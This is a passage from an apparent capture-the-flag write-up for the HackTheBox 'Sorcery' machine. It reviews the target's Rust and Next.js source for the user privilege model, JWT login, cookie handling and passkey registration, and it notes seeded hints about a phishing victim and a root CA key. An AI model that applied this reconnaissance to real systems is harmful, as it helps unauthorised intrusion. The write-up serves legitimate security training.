        <span class="n">description</span><span class="p">:</span>
            <span class="s">"Hello, just making a quick summary of the phishing training we had last week. </span><span class="se">\
        </span><span class="s">Remember not to open any link in the email unless: </span><span class="se">\
        </span><span class="s">a) the link comes from one of our domains (&lt;something&gt;.sorcery.htb); </span><span class="se">\
        </span><span class="s">b) the website uses HTTPS; </span><span class="se">\
        </span><span class="s">c) the subdomain uses our root CA. (the private key is safely stored on our FTP server, so it can't be hacked). "</span>
                <span class="nf">.to_string</span><span class="p">(),</span>
    <span class="p">}</span>
    <span class="nf">.save</span><span class="p">()</span>
    <span class="k">.await</span><span class="p">;</span>

    <span class="n">Post</span> <span class="p">{</span>
        <span class="n">id</span><span class="p">:</span> <span class="nn">Uuid</span><span class="p">::</span><span class="nf">new_v4</span><span class="p">()</span><span class="nf">.to_string</span><span class="p">(),</span>
        <span class="n">title</span><span class="p">:</span> <span class="s">"Phishing awareness"</span><span class="nf">.to_string</span><span class="p">(),</span>
        <span class="n">description</span><span class="p">:</span>
        <span class="s">"There has been a phishing campaign that used our Gitea instance. </span><span class="se">\
        </span><span class="s">All of our employees except one (looking at you, @tom_summers) have passed the test. </span><span class="se">\
        </span><span class="s">Unfortunately, Tom has entered their credentials, but our infosec team quickly revoked the access and changed the password. </span><span class="se">\
        </span><span class="s">Tom, make sure that doesn't happen again! Follow the rules in the other post!"</span>
            <span class="nf">.to_string</span><span class="p">(),</span>
    <span class="p">}</span>
    <span class="nf">.save</span><span class="p">()</span>
    <span class="k">.await</span><span class="p">;</span>

    <span class="c1">// ... a long list of Product { ... }.save().await calls follows</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This script creates the admin user, two blog posts, and 27 products in the database.</p>

<p>The two blog posts give hints for a future step. The “Phishing Training” post gives instructions not to click any links unless:</p>

<ul>
  <li>the link comes from one of our domains (<code class="language-plaintext highlighter-rouge">&lt;something&gt;.sorcery.htb</code>);</li>
  <li>the website uses HTTPS;</li>
  <li>the subdomain uses our root CA. (the private key is safely stored on our FTP server, so it can’t be hacked).</li>
</ul>

<p>The “Phishing awareness” post names <code class="language-plaintext highlighter-rouge">tom_summers</code> as a user who fell for a phishing test on the Gitea instance and had their credentials reset.</p>

<h4 id="user-model">User Model</h4>

<p>Before digging for a foothold, it’s worth walking through how the backend models users and hands out sessions. <code class="language-plaintext highlighter-rouge">db/models/user.rs</code> defines three tiers:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">#[derive(Clone,</span> <span class="nd">Copy,</span> <span class="nd">PartialOrd,</span> <span class="nd">PartialEq,</span> <span class="nd">Debug)]</span>
<span class="k">pub</span> <span class="k">enum</span> <span class="n">UserPrivilegeLevel</span> <span class="p">{</span>
    <span class="n">Client</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span>
    <span class="n">Seller</span> <span class="o">=</span> <span class="mi">1</span><span class="p">,</span>
    <span class="n">Admin</span> <span class="o">=</span> <span class="mi">2</span><span class="p">,</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The interesting part is how <code class="language-plaintext highlighter-rouge">privilege_level</code> is stored on the <code class="language-plaintext highlighter-rouge">User</code>:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">#[derive(Model,</span> <span class="nd">Debug,</span> <span class="nd">Deserialize)]</span>
<span class="k">pub</span> <span class="k">struct</span> <span class="n">User</span> <span class="p">{</span>
    <span class="k">pub</span> <span class="n">id</span><span class="p">:</span> <span class="nb">String</span><span class="p">,</span>
    <span class="k">pub</span> <span class="n">username</span><span class="p">:</span> <span class="nb">String</span><span class="p">,</span>
    <span class="k">pub</span> <span class="n">password</span><span class="p">:</span> <span class="nb">String</span><span class="p">,</span>
    <span class="nd">#[transient(fetch</span> <span class="nd">=</span> <span class="s">"fetch_privilege_level"</span><span class="nd">,</span> <span class="nd">save</span> <span class="nd">=</span> <span class="s">"save_privilege_level"</span><span class="nd">)]</span>
    <span class="k">pub</span> <span class="n">privilege_level</span><span class="p">:</span> <span class="n">UserPrivilegeLevel</span><span class="p">,</span>
<span class="p">}</span>

<span class="k">impl</span> <span class="n">User</span> <span class="p">{</span>
    <span class="k">pub</span> <span class="k">fn</span> <span class="nf">fetch_privilege_level</span><span class="p">(</span><span class="n">id</span><span class="p">:</span> <span class="nb">String</span><span class="p">)</span> <span class="k">-&gt;</span> <span class="n">UserPrivilegeLevel</span> <span class="p">{</span>
        <span class="o">*</span><span class="n">PRIVILEGES</span>
            <span class="nf">.lock</span><span class="p">()</span>
            <span class="nf">.unwrap</span><span class="p">()</span>
            <span class="py">.privileges</span>
            <span class="nf">.get</span><span class="p">(</span><span class="o">&amp;</span><span class="n">id</span><span class="p">)</span>
            <span class="nf">.unwrap_or</span><span class="p">(</span><span class="o">&amp;</span><span class="nn">UserPrivilegeLevel</span><span class="p">::</span><span class="n">Client</span><span class="p">)</span>
    <span class="p">}</span>

    <span class="k">pub</span> <span class="k">fn</span> <span class="nf">save_privilege_level</span><span class="p">(</span><span class="o">&amp;</span><span class="k">self</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">PRIVILEGES</span>
            <span class="nf">.lock</span><span class="p">()</span>
            <span class="nf">.unwrap</span><span class="p">()</span>
            <span class="py">.privileges</span>
            <span class="nf">.insert</span><span class="p">(</span><span class="k">self</span><span class="py">.id</span><span class="nf">.clone</span><span class="p">(),</span> <span class="k">self</span><span class="py">.privilege_level</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">#[transient]</code> attribute (defined by the <code class="language-plaintext highlighter-rouge">backend-macros</code> crate) tells the Neo4j model derive macro to not persist this field. Instead, reads and writes are routed to a global <code class="language-plaintext highlighter-rouge">Mutex&lt;HashMap&lt;String, UserPrivilegeLevel&gt;&gt;</code> called <code class="language-plaintext highlighter-rouge">PRIVILEGES</code>. Neo4j only stores <code class="language-plaintext highlighter-rouge">id</code>, <code class="language-plaintext highlighter-rouge">username</code>, and <code class="language-plaintext highlighter-rouge">password</code>, leaving the user role entirely in RAM, where it disappears on restart.</p>

<p>That’s why <code class="language-plaintext highlighter-rouge">main.rs</code> does this at launch:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">let</span> <span class="n">admin</span> <span class="o">=</span> <span class="nn">User</span><span class="p">::</span><span class="nf">get_by_username</span><span class="p">(</span><span class="s">"admin"</span><span class="nf">.to_string</span><span class="p">())</span><span class="k">.await</span><span class="nf">.unwrap</span><span class="p">();</span>
<span class="n">PRIVILEGES</span>
    <span class="nf">.lock</span><span class="p">()</span>
    <span class="nf">.unwrap</span><span class="p">()</span>
    <span class="py">.privileges</span>
    <span class="nf">.insert</span><span class="p">(</span><span class="n">admin</span><span class="py">.id</span><span class="p">,</span> <span class="nn">UserPrivilegeLevel</span><span class="p">::</span><span class="n">Admin</span><span class="p">);</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">initial_data.rs</code> uses <code class="language-plaintext highlighter-rouge">SITE_ADMIN_PASSWORD</code> to seed an <code class="language-plaintext highlighter-rouge">admin</code> user with <code class="language-plaintext highlighter-rouge">UserPrivilegeLevel::Admin</code>, and the <code class="language-plaintext highlighter-rouge">save()</code> call hits both Neo4j (id/username/hashed password) and the <code class="language-plaintext highlighter-rouge">PRIVILEGES</code> map (role). On every subsequent boot, <code class="language-plaintext highlighter-rouge">main.rs</code> rebuilds the role entry by hand.</p>

<h4 id="register-and-password-login">Register and Password Login</h4>

<p>User registration takes place in <code class="language-plaintext highlighter-rouge">api/auth/register.rs</code>:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">#[post(</span><span class="s">"/register"</span><span class="nd">,</span> <span class="nd">data</span> <span class="nd">=</span> <span class="s">"&lt;data&gt;"</span><span class="nd">)]</span>
<span class="k">pub</span> <span class="k">async</span> <span class="k">fn</span> <span class="nf">register</span><span class="p">(</span><span class="n">data</span><span class="p">:</span> <span class="n">Validated</span><span class="o">&lt;</span><span class="n">Json</span><span class="o">&lt;</span><span class="n">Request</span><span class="o">&gt;&gt;</span><span class="p">)</span> <span class="k">-&gt;</span> <span class="nb">Result</span><span class="o">&lt;</span><span class="n">Json</span><span class="o">&lt;</span><span class="n">Response</span><span class="o">&gt;</span><span class="p">,</span> <span class="n">AppError</span><span class="o">&gt;</span> <span class="p">{</span>
    <span class="k">let</span> <span class="n">Request</span> <span class="p">{</span> <span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="n">registration_key</span> <span class="p">}</span> <span class="o">=</span> <span class="n">data</span><span class="nf">.into_inner</span><span class="p">()</span><span class="nf">.into_inner</span><span class="p">();</span>
    <span class="k">if</span> <span class="nn">User</span><span class="p">::</span><span class="nf">get_by_username</span><span class="p">(</span><span class="n">username</span><span class="nf">.to_owned</span><span class="p">())</span><span class="k">.await</span><span class="nf">.is_some</span><span class="p">()</span> <span class="p">{</span>
        <span class="k">return</span> <span class="nf">Err</span><span class="p">(</span><span class="nn">AppError</span><span class="p">::</span><span class="n">UsernameAlreadyExists</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">let</span> <span class="n">hash</span> <span class="o">=</span> <span class="nf">create_hash</span><span class="p">(</span><span class="o">&amp;</span><span class="n">password</span><span class="p">)</span><span class="o">?</span><span class="p">;</span>
    <span class="k">let</span> <span class="n">id</span> <span class="o">=</span> <span class="nn">Uuid</span><span class="p">::</span><span class="nf">new_v4</span><span class="p">()</span><span class="nf">.to_string</span><span class="p">();</span>
    <span class="n">User</span> <span class="p">{</span>
        <span class="n">id</span><span class="p">:</span> <span class="n">id</span><span class="nf">.to_string</span><span class="p">(),</span>
        <span class="n">username</span><span class="p">:</span> <span class="n">username</span><span class="nf">.to_owned</span><span class="p">(),</span>
        <span class="n">password</span><span class="p">:</span> <span class="n">hash</span><span class="p">,</span>
        <span class="n">privilege_level</span><span class="p">:</span> <span class="k">if</span> <span class="n">registration_key</span><span class="nf">.is_some</span><span class="p">()</span>
            <span class="o">&amp;&amp;</span> <span class="o">&amp;</span><span class="n">registration_key</span><span class="nf">.unwrap</span><span class="p">()</span> <span class="o">==</span> <span class="n">REGISTRATION_KEY</span><span class="nf">.get</span><span class="p">()</span><span class="k">.await</span>
        <span class="p">{</span>
            <span class="nn">UserPrivilegeLevel</span><span class="p">::</span><span class="n">Seller</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="nn">UserPrivilegeLevel</span><span class="p">::</span><span class="n">Client</span>
        <span class="p">},</span>
    <span class="p">}</span>
    <span class="nf">.save</span><span class="p">()</span>
    <span class="k">.await</span><span class="p">;</span>
    <span class="nf">Ok</span><span class="p">(</span><span class="nf">Json</span><span class="p">(</span><span class="n">Response</span> <span class="p">{</span> <span class="n">id</span> <span class="p">}))</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Username is validated against <code class="language-plaintext highlighter-rouge">^[a-zA-Z0-9]+$</code> (<code class="language-plaintext highlighter-rouge">validate_username</code> in <code class="language-plaintext highlighter-rouge">api/auth.rs</code>), rejecting anything with special characters. The password is hashed with Argon2. The <code class="language-plaintext highlighter-rouge">registration_key</code> field (the optional input on the signup form) is compared against a <code class="language-plaintext highlighter-rouge">REGISTRATION_KEY</code> global loaded from <code class="language-plaintext highlighter-rouge">db/connection.rs</code>, and the account role is set to Client or Seller based on the match. There’s no path that hands out <code class="language-plaintext highlighter-rouge">Admin</code> through the registration endpoint.</p>

<p>The frontend action (<code class="language-plaintext highlighter-rouge">app/auth/register/actions.tsx</code>) is a thin Next.js server action that just POSTs <code class="language-plaintext highlighter-rouge">{ username, password, registrationKey }</code> to <code class="language-plaintext highlighter-rouge">auth/register</code>:</p>

<div class="language-ts highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="dl">"</span><span class="s2">use server</span><span class="dl">"</span><span class="p">;</span>
<span class="k">export</span> <span class="k">async</span> <span class="kd">function</span> <span class="nf">register</span><span class="p">(</span><span class="nx">username</span><span class="p">:</span> <span class="kr">string</span><span class="p">,</span> <span class="nx">password</span><span class="p">:</span> <span class="kr">string</span><span class="p">,</span> <span class="nx">registrationKey</span><span class="p">?:</span> <span class="kr">string</span><span class="p">)</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">response</span> <span class="o">=</span> <span class="k">await</span> <span class="nc">API</span><span class="p">().</span><span class="nf">post</span><span class="p">(</span><span class="dl">"</span><span class="s2">auth/register</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span>
    <span class="na">json</span><span class="p">:</span> <span class="p">{</span> <span class="nx">username</span><span class="p">,</span> <span class="nx">password</span><span class="p">,</span> <span class="nx">registrationKey</span> <span class="p">},</span>
  <span class="p">});</span>
  <span class="k">return</span> <span class="nf">convertResponse</span><span class="p">(</span><span class="nx">response</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Password login in <code class="language-plaintext highlighter-rouge">api/auth/login.rs</code>:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">#[post(</span><span class="s">"/login"</span><span class="nd">,</span> <span class="nd">data</span> <span class="nd">=</span> <span class="s">"&lt;data&gt;"</span><span class="nd">)]</span>
<span class="k">pub</span> <span class="k">async</span> <span class="k">fn</span> <span class="n">login</span><span class="o">&lt;</span><span class="nv">'r</span><span class="o">&gt;</span><span class="p">(</span><span class="n">data</span><span class="p">:</span> <span class="n">Validated</span><span class="o">&lt;</span><span class="n">Json</span><span class="o">&lt;</span><span class="n">Request</span><span class="o">&lt;</span><span class="nv">'r</span><span class="o">&gt;&gt;&gt;</span><span class="p">,</span> <span class="n">cookies</span><span class="p">:</span> <span class="o">&amp;</span><span class="n">CookieJar</span><span class="o">&lt;</span><span class="nv">'_</span><span class="o">&gt;</span><span class="p">)</span>
    <span class="k">-&gt;</span> <span class="nb">Result</span><span class="o">&lt;</span><span class="n">Json</span><span class="o">&lt;</span><span class="n">Response</span><span class="o">&gt;</span><span class="p">,</span> <span class="n">AppError</span><span class="o">&gt;</span> <span class="p">{</span>
    <span class="k">let</span> <span class="n">Request</span> <span class="p">{</span> <span class="n">username</span><span class="p">,</span> <span class="n">password</span> <span class="p">}</span> <span class="o">=</span> <span class="n">data</span><span class="nf">.into_inner</span><span class="p">()</span><span class="nf">.into_inner</span><span class="p">();</span>
    <span class="k">let</span> <span class="n">user</span> <span class="o">=</span> <span class="k">match</span> <span class="nn">User</span><span class="p">::</span><span class="nf">get_by_username</span><span class="p">(</span><span class="n">username</span><span class="nf">.to_owned</span><span class="p">())</span><span class="k">.await</span> <span class="p">{</span>
        <span class="nf">Some</span><span class="p">(</span><span class="n">user</span><span class="p">)</span> <span class="k">=&gt;</span> <span class="n">user</span><span class="p">,</span>
        <span class="nb">None</span> <span class="k">=&gt;</span> <span class="k">return</span> <span class="nf">Err</span><span class="p">(</span><span class="nn">AppError</span><span class="p">::</span><span class="n">NotFound</span><span class="p">),</span>
    <span class="p">};</span>
    <span class="k">if</span> <span class="nn">Argon2</span><span class="p">::</span><span class="nf">default</span><span class="p">()</span>
        <span class="nf">.verify_password</span><span class="p">(</span><span class="n">password</span><span class="nf">.as_bytes</span><span class="p">(),</span> <span class="o">&amp;</span><span class="nn">PasswordHash</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="o">&amp;</span><span class="n">user</span><span class="py">.password</span><span class="p">)</span><span class="nf">.unwrap</span><span class="p">())</span>
        <span class="nf">.is_err</span><span class="p">()</span>
    <span class="p">{</span>
        <span class="k">return</span> <span class="nf">Err</span><span class="p">(</span><span class="nn">AppError</span><span class="p">::</span><span class="n">NotFound</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">let</span> <span class="n">claim</span> <span class="o">=</span> <span class="n">UserClaims</span> <span class="p">{</span>
        <span class="n">id</span><span class="p">:</span> <span class="n">user</span><span class="py">.id</span><span class="p">,</span>
        <span class="n">username</span><span class="p">:</span> <span class="n">username</span><span class="nf">.to_owned</span><span class="p">(),</span>
        <span class="n">privilege_level</span><span class="p">:</span> <span class="n">user</span><span class="py">.privilege_level</span><span class="p">,</span>
        <span class="n">with_passkey</span><span class="p">:</span> <span class="k">false</span><span class="p">,</span>
        <span class="n">only_for_paths</span><span class="p">:</span> <span class="nb">None</span><span class="p">,</span>
        <span class="n">exp</span><span class="p">:</span> <span class="nn">SystemTime</span><span class="p">::</span><span class="nf">now</span><span class="p">()</span><span class="nf">.add</span><span class="p">(</span><span class="nn">Duration</span><span class="p">::</span><span class="nf">from_secs</span><span class="p">(</span><span class="mi">60</span> <span class="o">*</span> <span class="mi">60</span> <span class="o">*</span> <span class="mi">24</span><span class="p">))</span>
            <span class="nf">.duration_since</span><span class="p">(</span><span class="n">UNIX_EPOCH</span><span class="p">)</span><span class="nf">.unwrap</span><span class="p">()</span><span class="nf">.as_secs</span><span class="p">()</span> <span class="k">as</span> <span class="nb">usize</span><span class="p">,</span>
    <span class="p">};</span>
    <span class="k">let</span> <span class="n">token</span> <span class="o">=</span> <span class="nf">encode</span><span class="p">(</span><span class="o">&amp;</span><span class="nn">Header</span><span class="p">::</span><span class="nf">default</span><span class="p">(),</span> <span class="o">&amp;</span><span class="n">claim</span><span class="p">,</span> <span class="o">&amp;</span><span class="nn">EncodingKey</span><span class="p">::</span><span class="nf">from_secret</span><span class="p">(</span><span class="n">JWT_SECRET</span><span class="nf">.as_bytes</span><span class="p">()))</span><span class="nf">.unwrap</span><span class="p">();</span>
    <span class="n">cookies</span><span class="nf">.add</span><span class="p">(</span>
        <span class="nn">Cookie</span><span class="p">::</span><span class="nf">build</span><span class="p">((</span><span class="s">"token"</span><span class="p">,</span> <span class="n">token</span><span class="nf">.clone</span><span class="p">()))</span>
            <span class="nf">.path</span><span class="p">(</span><span class="s">"/"</span><span class="p">)</span><span class="nf">.secure</span><span class="p">(</span><span class="k">false</span><span class="p">)</span><span class="nf">.http_only</span><span class="p">(</span><span class="k">false</span><span class="p">),</span>
    <span class="p">);</span>
    <span class="nf">Ok</span><span class="p">(</span><span class="nf">Json</span><span class="p">(</span><span class="n">Response</span> <span class="p">{</span> <span class="n">token</span> <span class="p">}))</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The code fetches the user by username, verifies the Argon2 hash, builds a <code class="language-plaintext highlighter-rouge">UserClaims</code> object, signs it with <code class="language-plaintext highlighter-rouge">JWT_SECRET</code>, and both sets the token as a cookie and returns it in the JSON body. The cookie is created with <code class="language-plaintext highlighter-rouge">secure: false, http_only: false</code>, but in practice that cookie never reaches the user’s browser. The login is invoked via a Next.js server action (<code class="language-plaintext highlighter-rouge">app/auth/login/actions.tsx</code>) that calls the backend server-to-server, so the backend’s <code class="language-plaintext highlighter-rouge">Set-Cookie</code> lands at the Next.js server in response to its own request and is dropped.</p>

<p>What actually puts a cookie in the browser is the frontend code, where <code class="language-plaintext highlighter-rouge">User.fromJwt(token)</code> parses the JWT out of the JSON body, and <code class="language-plaintext highlighter-rouge">User.save()</code> (in <code class="language-plaintext highlighter-rouge">entity/user.ts</code>) calls <code class="language-plaintext highlighter-rouge">setCookieServer</code> (<code class="language-plaintext highlighter-rouge">entity/user-server.ts</code>):</p>

<div class="language-ts highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">export</span> <span class="k">async</span> <span class="kd">function</span> <span class="nf">setCookieServer</span><span class="p">(</span><span class="nx">key</span><span class="p">:</span> <span class="kr">string</span><span class="p">,</span> <span class="nx">value</span><span class="p">:</span> <span class="kr">string</span><span class="p">)</span> <span class="p">{</span>
  <span class="nf">cookies</span><span class="p">().</span><span class="nf">set</span><span class="p">(</span><span class="nx">key</span><span class="p">,</span> <span class="nx">value</span><span class="p">,</span> <span class="p">{</span>
    <span class="na">httpOnly</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
  <span class="p">});</span>
<span class="p">}</span>
</code></pre></div></div>

<p>That writes a fresh <code class="language-plaintext highlighter-rouge">token</code> cookie with <code class="language-plaintext highlighter-rouge">httpOnly: true</code>, so the browser’s copy of the JWT is not readable by client-side JavaScript. On every subsequent request, that cookie is sent to the Next.js server, and <code class="language-plaintext highlighter-rouge">api/client.ts</code> reads it via <code class="language-plaintext highlighter-rouge">cookies().get("token")</code> and forwards it as <code class="language-plaintext highlighter-rouge">Authorization: Bearer &lt;jwt&gt;</code> to the backend. The backend’s <code class="language-plaintext highlighter-rouge">RequireAuthentication</code> guard only reads the <code class="language-plaintext highlighter-rouge">Authorization</code> header, so the backend itself never relies on cookies at all.</p>

<p>The token is good for 24 hours. Failed lookups and wrong-password both return <code class="language-plaintext highlighter-rouge">AppError::NotFound</code>, so the response can’t be used to enumerate usernames.</p>

<p>The <code class="language-plaintext highlighter-rouge">UserClaims</code> struct itself (from <code class="language-plaintext highlighter-rouge">api/auth.rs</code>) is also interesting:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">pub</span> <span class="k">struct</span> <span class="n">UserClaims</span> <span class="p">{</span>
    <span class="k">pub</span> <span class="n">id</span><span class="p">:</span> <span class="nb">String</span><span class="p">,</span>
    <span class="k">pub</span> <span class="n">username</span><span class="p">:</span> <span class="nb">String</span><span class="p">,</span>
    <span class="k">pub</span> <span class="n">privilege_level</span><span class="p">:</span> <span class="n">UserPrivilegeLevel</span><span class="p">,</span>
    <span class="k">pub</span> <span class="n">with_passkey</span><span class="p">:</span> <span class="nb">bool</span><span class="p">,</span>
    <span class="k">pub</span> <span class="n">only_for_paths</span><span class="p">:</span> <span class="nb">Option</span><span class="o">&lt;</span><span class="nb">Vec</span><span class="o">&lt;</span><span class="nb">String</span><span class="o">&gt;&gt;</span><span class="p">,</span>
    <span class="k">pub</span> <span class="n">exp</span><span class="p">:</span> <span class="nb">usize</span><span class="p">,</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">privilege_level</code> is baked into the JWT at issue time, not re-read from <code class="language-plaintext highlighter-rouge">PRIVILEGES</code> on each request. <code class="language-plaintext highlighter-rouge">with_passkey</code> distinguishes password-only sessions from passkey sessions. <code class="language-plaintext highlighter-rouge">only_for_paths</code> takes a list of regexes, and the <code class="language-plaintext highlighter-rouge">RequireAuthentication</code> guard only honors a token if the request URI matches at least one of them:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="k">let</span> <span class="nf">Some</span><span class="p">(</span><span class="n">routes</span><span class="p">)</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">claims</span><span class="py">.only_for_paths</span> <span class="p">{</span>
    <span class="k">if</span> <span class="o">!</span><span class="n">routes</span><span class="nf">.iter</span><span class="p">()</span><span class="nf">.any</span><span class="p">(|</span><span class="n">route</span><span class="p">|</span> <span class="p">{</span>
        <span class="nn">Regex</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="n">route</span><span class="p">)</span><span class="nf">.unwrap</span><span class="p">()</span><span class="nf">.is_match</span><span class="p">(</span><span class="o">&amp;</span><span class="n">request</span><span class="nf">.uri</span><span class="p">()</span><span class="nf">.to_string</span><span class="p">())</span>
    <span class="p">})</span> <span class="p">{</span>
        <span class="k">return</span> <span class="n">failure</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The guards themselves live in <code class="language-plaintext highlighter-rouge">api/auth.rs</code>: <code class="language-plaintext highlighter-rouge">RequireAuthentication</code>, <code class="language-plaintext highlighter-rouge">RequireAdmin</code>, <code class="language-plaintext highlighter-rouge">RequireSeller</code>, <code class="language-plaintext highlighter-rouge">RequireClient</code>, <code class="language-plaintext highlighter-rouge">RequirePasskey</code>. Seller/Client use <code class="language-plaintext highlighter-rouge">&lt;</code> comparisons on the <code class="language-plaintext highlighter-rouge">PartialOrd</code> derive, so <code class="language-plaintext highlighter-rouge">RequireSeller</code> admits both <code class="language-plaintext highlighter-rouge">Seller</code> (1) and <code class="language-plaintext highlighter-rouge">Admin</code> (2).</p>

<h4 id="passkey-login">Passkey Login</h4>

<p>Registering a passkey goes through <code class="language-plaintext highlighter-rouge">/api/webauthn/passkey/register/{start,finish}</code>. Both handlers take a <code class="language-plaintext highlighter-rouge">RequireAuthentication</code> guard, so the user must have an active JWT first. <code class="language-plaintext highlighter-rouge">start_registration.rs</code> handles the passkey registration process:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">#[post(</span><span class="s">"/register/start"</span><span class="nd">,</span> <span class="nd">format</span> <span class="nd">=</span> <span class="s">"json"</span><span class="nd">,</span> <span class="nd">data</span> <span class="nd">=</span> <span class="s">"&lt;data&gt;"</span><span class="nd">)]</span>
<span class="k">pub</span> <span class="k">async</span> <span class="k">fn</span> <span class="nf">start_registration</span><span class="p">(</span>
    <span class="n">guard</span><span class="p">:</span> <span class="n">RequireAuthentication</span><span class="p">,</span>
    <span class="n">data</span><span class="p">:</span> <span class="n">Validated</span><span class="o">&lt;</span><span class="n">Json</span><span class="o">&lt;</span><span class="n">Request</span><span class="o">&gt;&gt;</span><span class="p">,</span>
    <span class="n">passkey_store</span><span class="p">:</span> <span class="o">&amp;</span><span class="n">State</span><span class="o">&lt;</span><span class="n">PasskeyStore</span><span class="o">&gt;</span><span class="p">,</span>
    <span class="n">webauthn_store</span><span class="p">:</span> <span class="o">&amp;</span><span class="n">State</span><span class="o">&lt;</span><span class="n">WebauthnStore</span><span class="o">&gt;</span><span class="p">,</span>
<span class="p">)</span> <span class="k">-&gt;</span> <span class="nb">Result</span><span class="o">&lt;</span><span class="n">Json</span><span class="o">&lt;</span><span class="n">Response</span><span class="o">&gt;</span><span class="p">,</span> <span class="n">AppError</span><span class="o">&gt;</span> <span class="p">{</span>
    <span class="k">let</span> <span class="nf">Json</span><span class="p">(</span><span class="n">Request</span> <span class="p">{</span> <span class="n">username</span> <span class="p">})</span> <span class="o">=</span> <span class="n">data</span><span class="nf">.into_inner</span><span class="p">();</span>
    <span class="k">let</span> <span class="n">username</span> <span class="o">=</span> <span class="n">username</span><span class="nf">.as_ref</span><span class="p">()</span><span class="nf">.unwrap_or</span><span class="p">(</span><span class="o">&amp;</span><span class="n">guard</span><span class="py">.claims.username</span><span class="p">);</span>
    <span class="k">let</span> <span class="n">user</span> <span class="o">=</span> <span class="k">match</span> <span class="nn">User</span><span class="p">::</span><span class="nf">get_by_username</span><span class="p">(</span><span class="n">username</span><span class="nf">.clone</span><span class="p">())</span><span class="k">.await</span> <span class="p">{</span>
        <span class="nf">Some</span><span class="p">(</span><span class="n">user</span><span class="p">)</span> <span class="k">=&gt;</span> <span class="n">user</span><span class="p">,</span>
        <span class="nb">None</span> <span class="k">=&gt;</span> <span class="k">return</span> <span class="nf">Err</span><span class="p">(</span><span class="nn">AppError</span><span class="p">::</span><span class="n">NotFound</span><span class="p">),</span>
    <span class="p">};</span>

    <span class="k">match</span> <span class="n">webauthn_store</span><span class="py">.instance</span><span class="nf">.lock</span><span class="p">()</span><span class="nf">.unwrap</span><span class="p">()</span>
        <span class="nf">.start_passkey_registration</span><span class="p">(</span><span class="nn">Uuid</span><span class="p">::</span><span class="nf">from_str</span><span class="p">(</span><span class="o">&amp;</span><span class="n">user</span><span class="py">.id</span><span class="p">)</span><span class="nf">.unwrap</span><span class="p">(),</span> <span class="n">username</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="nb">None</span><span class="p">)</span>
    <span class="p">{</span> <span class="o">...</span> <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The request body carries a username, and the handler uses the body’s username if provided, falling back to the guard’s username if not. It then looks up that user and binds the new passkey challenge to their ID. Specifically, it inserts the challenge state into <code class="language-plaintext highlighter-rouge">passkey_store.registrations</code> keyed by <code class="language-plaintext highlighter-rouge">user.id</code> (the target’s id):</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">passkey_store</span>
    <span class="py">.registrations</span>
    <span class="nf">.lock</span><span class="p">()</span>
    <span class="nf">.unwrap</span><span class="p">()</span>
    <span class="nf">.insert</span><span class="p">(</span><span class="n">user</span><span class="py">.id</span><span class="nf">.clone</span><span class="p">(),</span> <span class="n">state</span><span class="p">);</span>
</code></pre></div></div>

<p>At first glance that looks like it should let an authenticated attacker start a passkey registration for somebody else’s account. But <code class="language-plaintext highlighter-rouge">finish_registration.rs</code> doesn’t match on the body’s username. It pulls the stored state back out using the caller’s JWT id:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">let</span> <span class="nf">Some</span><span class="p">(</span><span class="n">state</span><span class="p">)</span> <span class="o">=</span> <span class="n">registrations</span><span class="nf">.get</span><span class="p">(</span><span class="o">&amp;</span><span class="n">guard</span><span class="py">.claims.id</span><span class="p">)</span> <span class="k">else</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nf">Err</span><span class="p">(</span><span class="nn">AppError</span><span class="p">::</span><span class="n">Unauthorized</span><span class="p">);</span>
<span class="p">};</span>
</code></pre></div></div>

<p>Authenticating with a passkey is two unauthenticated endpoints. <code class="language-plaintext highlighter-rouge">start_authentication.rs</code> takes a username, looks up the registered passkey for that user, and returns a WebAuthn challenge. <code class="language-plaintext highlighter-rouge">finish_authentication.rs</code> verifies the browser’s assertion and, on success, issues a JWT identical to the password path except for <code class="language-plaintext highlighter-rouge">with_passkey: true</code>:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">let</span> <span class="n">claim</span> <span class="o">=</span> <span class="n">UserClaims</span> <span class="p">{</span>
    <span class="n">id</span><span class="p">:</span> <span class="n">user</span><span class="py">.id</span><span class="p">,</span>
